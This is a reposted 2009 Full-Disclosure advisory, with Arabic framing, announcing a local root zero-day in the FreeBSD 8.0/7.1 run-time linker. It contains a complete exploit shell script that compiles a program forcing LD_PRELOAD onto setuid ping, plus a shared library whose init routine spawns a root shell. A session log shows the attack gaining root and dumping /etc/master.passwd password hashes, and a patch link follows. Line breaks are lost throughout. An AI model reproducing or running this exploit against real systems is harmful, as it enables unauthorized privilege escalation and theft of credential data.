المصدر:
[Full-disclosure] ** FreeBSD local r00t zeroday
** FreeBSD local r00t 0day
Discovered & Exploited by Nikolaos Rangos also known as Kingcope.
Nov 2009 "BiG TiME""
Go fetch your FreeBSD r00tkitz" //
YouTube - HALT DIE FRESSE NR. 32 - HAFTBEFEHL
There is an unbelievable simple local r00t bug in recent FreeBSD versions.
I audited FreeBSD for local r00t bugs a long time *sigh*.
Now it pays out.The bug resides in the Run-Time Link-Editor (rtld).
Normally rtld does not allow dangerous environment variables like LD_PRELOADto be set when executing setugid binaries like "ping" or "su".With a rather simple technique rtld can be tricked intoaccepting LD variables even on setugid binaries.See the attached exploit for details.Example exploiting session
**********************************
كود:
%uname -a;id;FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 2115:48:17 UTC 2009root at almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386uid=1001(kcope) gid=1001(users) groups=1001(users)%./w00t.shFreeBSD local r00t zerodayby KingcopeNovember 2009env.c: In function 'main':env.c:5: warning: incompatible implicit declaration of built-infunction 'malloc'env.c:9: warning: incompatible implicit declaration of built-infunction 'strcpy'env.c:11: warning: incompatible implicit declaration of built-infunction 'execl'/libexec/ld-elf.so.1: environment corrupt; missing value for/libexec/ld-elf.so.1: environment corrupt; missing value for/libexec/ld-elf.so.1: environment corrupt; missing value for/libexec/ld-elf.so.1: environment corrupt; missing value for/libexec/ld-elf.so.1: environment corrupt; missing value for/libexec/ld-elf.so.1: environment corrupt; missing value forALEX-ALEX# uname -a;id;FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 2115:48:17 UTC 2009root at almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386uid=1001(kcope) gid=1001(users) euid=0(root) groups=1001(users)# cat /etc/master.passwd# $FreeBSD: src/etc/master.passwd,v 1.40.22.1.2.1 2009/10/25 01:10:29kensmith Exp $#root:$1$AUbbHoOs$CCCsw7hsMB14KBkeS1xlz2:0:0::0:0 :Charlie &:/root:/bin/cshtoor:*:0:0::0:0:Bourne-again Superuser:/root:daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/nologinoperator:*:2:5::0:0:System &:/:/usr/sbin/nologinbin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologintty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologinkmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologingames:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologinnews:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologinman:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologinsshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologinsmmsp:*:25:25::0:0:Sendmail SubmissionUser:/var/spool/clientmqueue:/usr/sbin/nologinmailnull:*:26:26::0:0:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologinbind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologinproxy:*:62:62::0:0:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin_pflogd:*:64:64::0:0:pflogd privsep user:/var/empty:/usr/sbin/nologin_dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologinuucp:*:66:66::0:0:UUCPpseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucicopop:*:68:6::0:0:Post Office Owner:/nonexistent:/usr/sbin/nologinwww:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologinnobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/nologinkcope:$1$u2wMkYLY$CCCuKax6dvYJrl2ZCYXA2:100 1:1001::0:0:User&:/home/kcope:/bin/sh#Systems tested/affected**********************************FreeBSD 8.0-RELEASE *** VULNERABLEFreeBSD 7.1-RELEASE *** VULNERABLEFreeBSD 6.3-RELEASE *** NOT VULNFreeBSD 4.9-RELEASE *** NOT VULN*EXPLOIT*#!/bin/shecho ** FreeBSD local r00t zerodayecho by Kingcopeecho November 2009cat > env.c << _EOF#include <stdio.h>main() { extern char **environ; environ = (char**)malloc(8096); environ[0] = (char*)malloc(1024); environ[1] = (char*)malloc(1024); strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0"); execl("/sbin/ping", "ping", 0);}_EOFgcc env.c -o envcat > program.c << _EOF#include <unistd.h>#include <stdio.h>#include <sys/types.h>#include <stdlib.h>void _init() { extern char **environ; environ=NULL; system("echo ALEX-ALEX;/bin/sh");}_EOFgcc -o program.o -c program.c -fPICgcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfilescp w00t.so.1.0 /tmp/w00t.so.1.0./env
الاستغلال مموجود في المرفقات
رابط الرقعة الأمنية:
http://people.freebsd.org/~cperciva/rtld.patc